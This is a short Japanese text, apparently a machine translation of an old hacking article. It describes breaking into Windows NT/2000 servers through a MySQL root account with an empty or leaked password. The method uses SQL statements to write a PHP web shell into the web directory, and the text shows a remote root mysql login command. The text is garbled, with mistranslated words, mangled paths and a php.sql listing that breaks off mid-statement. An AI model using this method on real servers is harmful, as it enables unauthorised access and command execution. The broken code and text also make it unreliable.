mysql
by Coolweis
coolweis@netguard.com.cn
多くの NT および win2000 マシンには、mysql と php が搭載されています。デフォルトの MySQL データベースのルート アカウントは空であるため、侵入者がマシンに侵入する手段を与えてしまいます。データベースのルート アカウントとパスワードが変更され、IIS の他の脆弱性がソース コードの漏洩につながる場合、データベース アカウントとパスワードも表示される可能性があります。データベースのパスワードを取得したと仮定して、mysql データベースを介してマシン上の特定の権限を取得する方法を見てみましょう。
まず、通常の状況では、通常、ほとんどの NT および win2000 マシンは、php を使用する場合、mysql を使用します。デフォルトでは、Windows 上の MySQL はリモート接続を許可します。 LinuxなどにインストールされているMysqlではリモート接続ができません。侵入の目的は、Web ディレクトリにシェル スクリプトを書き込むことです。このシェルを通じて、Ben にコマンドの実行を教えることができます。通常の状況では、Windows の Web サーバーは IIS であり、デフォルトで ASP スクリプトもサポートします。 ASP sehll スクリプトはインターネット上のどこにでもあります。この ASP スクリプトを Web ディレクトリに転送するだけです。しかし、それらのスクリプトはもっと面倒だと思います。ターゲットマシンにphpがある場合は、phpスクリプトを使用できます。ここではphpスクリプトを使用してシェルを記述します。まず、mysql クライアントを使用してマシンに接続し、SQL ステートメントを実行して Web ディレクトリに php シェル スクリプトを生成する必要があります。
C:mysqlbin>mysql -h xxx.xxx.xxx.xxx -uroot
C:mysqlbin>
php.sql の内容は次のとおりです。 TEXT) ;
insert into tmp names('
;